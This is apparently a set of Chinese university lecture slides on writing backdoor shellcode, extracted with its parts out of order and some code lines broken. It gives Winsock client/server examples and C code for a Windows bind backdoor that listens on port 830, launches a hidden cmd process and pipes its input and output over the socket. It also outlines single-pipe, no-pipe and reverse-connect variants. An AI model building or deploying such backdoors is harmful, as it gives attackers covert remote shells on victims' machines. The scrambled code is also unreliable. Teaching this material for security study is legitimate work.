4.3 后门ShellCode的编写

服务器 Socket()创建套接字 客户端
Bind()绑定到本机地 址上 Listen()在绑定的套 接字上监听链接请求 Accept()接受链接请 求，返回套接字s2
Socket()创建套接字 Connet()服务器
Recv()/send(),收 发数据 Closesocket()关闭 连接
Recv()/send(),收发 数据 Closesocket()关闭连 接
STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDL ES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine[] = "cmd"; PROCESS_INFORMATION ProcessInformation; //建立进程 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NUL L,NULL,&si,&ProcessInformation);
int main(int argc, char *argv[]) { int sockfd, numbytes; char buf[MAXDATASIZE]; struct sockaddr_in their_addr;/* 对方的地址端口信息*/
if (argc != 2) { //需要有服务端ip参数 fprintf(stderr,"usage: client hostname\n"); exit(1); } WSADATA ws; WSAStartup(MAKEWORD(2,2),&ws); Windows Socket Dll //初始化
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { //如果建立socket失败，退出程序 printf("socket error\n"); exit(1); }
//连接对方 their_addr.sin_family = AF_INET; /* 协议类型是INET */ their_addr.sin_port = htons(PORT); /*连接对方PORT端口 */ their_addr.sin_addr.s_addr = inet_addr(argv[1]);/* 连接对方的IP*/ if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) { //如果连接失败，退出程序 printf("connet error\n"); closesocket(sockfd); exit(1); }
*/
//初始化Windows
//建立socket if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("socket error\n"); exit(1); //如果建立socket失败，退出程序 } //bind本机的MYPORT端口 my_addr.sin_family = AF_INET; /* 协议类型是INET */ my_addr.sin_port = htons(MYPORT);/* 绑定MYPORT 端口 */ my_addr.sin_addr.s_addr = INADDR_ANY; /* 本机 IP*/ if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))== -1) { printf("bind error\n"); closesocket(sockfd); exit(1); //bind失败，退出程序 }
}
//接收数据 并打印出来 if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { //接收数据失败，退出程序 printf("recv error\n"); closesocket(sockfd); exit(1); } buf[numbytes] = '\0'; printf("Received: %s",buf); closesocket(sockfd); return 0;
后门ShellCode的编写
吴少华
电子信息学院
内容
1. 客户/服务器程序举例 2. 进程间通信和管道 3.后门的总体思路 4. ShellCode编码 总结
1. 客户/服务器通信模型
1.1 服务器程序 1.2 客户程序
1.1 服务器程序
#include <stdio.h> #include <winsock.h> #pragma comment(lib,"Ws2_32") #define MYPORT 8080 /*定义用户连接端口*/ #define BACKLOG 10 /*多少等待连接控制*/
3.后门的总体思路
3.1后门的模式 3.2双管道后门实现 3.3 单管道后门实现 3.4 零管道后门的实现 3.5 反连后门编写 3.6 转换成汇编
3.1 后门的模式
发送命令 （SOCKET） 返回结果
攻击机
目标机
模式一: 两个匿名管道
目标机
发送命令 （SOCKET） 返回结果 匿名管道1 父进程
SECURITY_ATTRIBUTES pipeattr1, pipeattr2; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; //建立匿名管道1 pipeattr1.nLength = 12; pipeattr1.lpSecurityDescriptor = 0; pipeattr1.bInheritHandle = true; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0); //建立匿名管道2 pipeattr2.nLength = 12; pipeattr2.lpSecurityDescriptor = 0; pipeattr2.bInheritHandle = true; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
子进程Βιβλιοθήκη 匿名管道2攻击机模式二: 一个匿名管道
目标机
发送命令 （SOCKET） 返回结果
以命令作为参 数启动子进程
子进程
父进程
匿名管道 返回执行结果
攻击机
例如: cmd /c dir c:\windows
模式三：无管道
直接将子进程的输入和输出设置为socket
3.2双管道后门实现
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"Ws2_32") int main() { WSADATA ws; SOCKET listenFD; char Buff[1024]; int ret;
1.2 客户程序
#include <stdio.h> #include <stdio.h> #include <winsock.h> #pragma comment(lib,"Ws2_32")
#define PORT 8080 /* 客户机连接远程主机的端口 */ #define MAXDATASIZE 100/* 每次可以接收的最大字节 */
unsigned long lBytesRead; while(1) { //检查管道1，即cmd进程是否有输出 ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRea d,0,0); if(lBytesRead) { //管道1有输出，读出结果发给远程客户机 0); ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead, if(!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0) break;
}
//有连接，发送abcdefgh字符串过去 if (send(new_fd, “abcdefgh\n", 14, 0) == -1) { printf("send error"); closesocket(sockfd); closesocket(new_fd); exit(1); } //成功，关闭套接字 closesocket(sockfd); closesocket(new_fd); return 0;
//初始化wsa WSAStartup(MAKEWORD(2,2),&ws); //建立socket listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机830端口 struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(830); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); //如果客户请求830端口，接受连接 int iAddrSize = sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);